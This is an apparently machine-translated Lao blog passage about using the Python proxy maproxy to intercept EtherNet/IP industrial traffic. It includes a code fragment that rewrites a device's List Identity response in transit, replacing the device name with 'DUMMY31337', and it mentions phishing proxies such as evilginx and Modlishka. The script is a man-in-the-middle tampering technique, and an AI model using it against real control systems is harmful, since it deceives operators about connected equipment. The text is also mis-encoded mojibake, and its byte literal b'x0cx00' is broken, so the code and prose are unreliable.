เบเบฒเบ™เบฅเบฐเบšเบธเบญเบธเบ›เบฐเบเบญเบ™เปเบกเปˆเบ™เป€เบฎเบฑเบ”เบชเบณเป€เบฅเบฑเบ”เป‚เบ”เบเปƒเบŠเป‰เป‚เบ›เบฃเป‚เบ•เบ„เป Ethernet/IP, เป€เบŠเบดเปˆเบ‡เป€เบ›เบฑเบ™เบชเบฐเบšเบฑเบšเบ›เบฑเบšเบ›เบธเบ‡เบ‚เบญเบ‡เป‚เบ›เบฃเป‚เบ•เบ„เป Ethernet เบญเบธเบ”เบชเบฒเบซเบฐเบเบณเบ—เบตเปˆเบซเปเปˆเป‚เบ›เบฃเป‚เบ•เบ„เปเบ„เบงเบšเบ„เบธเบกเป€เบŠเบฑเปˆเบ™ CIP. เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹เบˆเบฐโ€‹เบ›เปˆเบฝเบ™โ€‹เบŠเบทเปˆ ID เบ—เบตเปˆโ€‹เป€เบ™เบฑเป‰เบ™โ€‹เปƒเบซเป‰โ€‹เป€เบซเบฑเบ™โ€‹เปƒเบ™โ€‹เบซเบ™เป‰เบฒโ€‹เบˆเปโ€‹เป„เบ”เป‰โ€‹ "NI-IndComm เบชเปเบฒเบฅเบฑเบšเบญเบตเป€เบ—เบตเป€เบ™เบฑเบ”" เบเบฒเบ™โ€‹เบ™เปเบฒโ€‹เปƒเบŠเป‰โ€‹เบ•เบปเบงโ€‹เบญเบฑเบโ€‹เบชเบญเบ™โ€‹เบ•เบปเบงโ€‹เปเบ—เบ™โ€‹เบ‚เบญเบ‡โ€‹เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹. เบžเบงเบเป€เบฎเบปเบฒเบชเบฒเบกเบฒเบ”เปƒเบŠเป‰ script เป„เบ”เป‰ logging_proxy.py เปเบฅเบฐเบ„เป‰เบฒเบเบ„เบทเบเบฑเบ™เปเบเป‰เป„เบ‚เบงเบดเบ—เบตเบเบฒเบ™เบซเป‰เบญเบ‡เบฎเบฝเบ™ on_p2s_done_read, เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบงเปˆเบฒเบžเบงเบเป€เบฎเบปเบฒเบ•เป‰เบญเบ‡เบเบฒเบ™เปƒเบซเป‰เบŠเบทเปˆเบ•เบปเบงเบ•เบปเบ™เบ—เบตเปˆเปเบ•เบเบ•เปˆเบฒเบ‡เบเบฑเบ™เบ—เบตเปˆเบˆเบฐเป€เบซเบฑเบ™เป„เบ”เป‰เปƒเบ™เบฅเบนเบเบ„เป‰เบฒ.

เบฅเบฐเบซเบฑเบ”:

[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โ€ฆ]

เป‚เบ”เบเบžเบทเป‰เบ™เบ–เบฒเบ™เปเบฅเป‰เบง, เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบฎเป‰เบญเบ‡เบ‚เปเปƒเบซเป‰เบกเบตเบเบฒเบ™เบเปเบฒเบ™เบปเบ”เบญเบธเบ›เบฐเบเบญเบ™เบชเบญเบ‡เบ„เบฑเป‰เบ‡, เบ„เปเบฒเบ•เบญเบšเบ—เบตเบชเบญเบ‡เปเบกเปˆเบ™เบ•เบปเป‰เบ™เบชเบฐเบšเบฑเบš, เปเบฅเบฐเบญเบฑเบ™เบ—เปเบฒเบญเบดเบ”เป„เบ”เป‰เบ–เบทเบเบ”เบฑเบ”เปเบ›เบ‡เปƒเบ™เบเบฒเบ™เบšเบดเบ™.

เปเบฅเบฐเบชเบธเบ”เบ—เป‰เบฒเบ

เปƒเบ™เบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™เบ‚เบญเบ‡เบ‚เป‰เบญเบ maproxy เป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ—เบตเปˆเบชเบฐเบ”เบงเบเปเบฅเบฐเบ‡เปˆเบฒเบเบ”เบฒเบ, เป€เบŠเบดเปˆเบ‡เบ–เบทเบเบ‚เบฝเบ™เป„เบงเป‰เปƒเบ™ Python, เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™เบ‚เป‰เบญเบเป€เบŠเบทเปˆเบญเบงเปˆเบฒเป€เบˆเบปเป‰เบฒเบเปเปˆเบชเบฒเบกเบฒเบ”เป„เบ”เป‰เบฎเบฑเบšเบœเบปเบ™เบ›เบฐเป‚เบซเบเบ”เบˆเบฒเบเบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เบกเบฑเบ™. เปเบ™เปˆเบ™เบญเบ™, เบกเบตเป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ—เบตเปˆเบชเบฑเบšเบชเบปเบ™เบซเบผเบฒเบเบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ›เบธเบ‡เปเบ•เปˆเบ‡เปเบฅเบฐเบ”เบฑเบ”เปเบเป‰เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบ, เปเบ•เปˆเบžเบงเบเป€เบ‚เบปเบฒเบเบฑเบ‡เบ•เป‰เบญเบ‡เบเบฒเบ™เบ„เบงเบฒเบกเบชเบปเบ™เปƒเบˆเบซเบผเบฒเบเปเบฅเบฐเบกเบฑเบเบˆเบฐเบ–เบทเบเบชเป‰เบฒเบ‡เบ‚เบทเป‰เบ™เบชเปเบฒเบฅเบฑเบšเบเปเบฅเบฐเบ™เบตเบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เบชเบฐเป€เบžเบฒเบฐ, e.g. เบกเบนเป€เบฃเบ™เบฒ, Modlishka เบซเบผเบท evilginx เบชเปเบฒเบฅเบฑเบšเบเปเบฅเบฐเบ™เบตเบ—เบตเปˆเบ„เป‰เบฒเบเบ„เบทเบเบฑเบ™เบเบฑเบšเบ—เบตเบชเบฒเบก, เบซเบผเบท เป‚เบŠเบŸเบฒ เบชเปเบฒเบฅเบฑเบšเบเปเบฅเบฐเบ™เบตเบชเบธเบ”เบ—เป‰เบฒเบ. เบงเบดเบ—เบตเบเบฒเบ™เบซเบ™เบถเปˆเบ‡เบซเบผเบทเบญเบทเปˆเบ™, เบ”เป‰เบงเบเบเบฒเบ™เบŠเปˆเบงเบเป€เบซเบผเบทเบญ maproxy เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ›เบฐเบ•เบดเบšเบฑเบ”เปเบ™เบงเบ„เบงเบฒเบกเบ„เบดเบ”เบ‚เบญเบ‡เบ—เปˆเบฒเบ™เป„เบ”เป‰เป„เบงเบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ‚เบฑเบ”เบ‚เบงเบฒเบ‡เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบ, เบ™เบฑเบšเบ•เบฑเป‰เบ‡เปเบ•เปˆเบ•เบปเบงเบขเปˆเบฒเบ‡ scripts เบกเบตเบ„เบงเบฒเบกเบŠเบฑเบ”เป€เบˆเบ™เบซเบผเบฒเบ.

เบเบฒเบ™เบ—เบปเบ”เบชเบญเบšเบเบปเบ™เป„เบเบเบฒเบ™เบžเบดเบชเบนเบ”เบขเบทเบ™เบขเบฑเบ™เปƒเบ™ Windows AD

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: www.habr.com

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™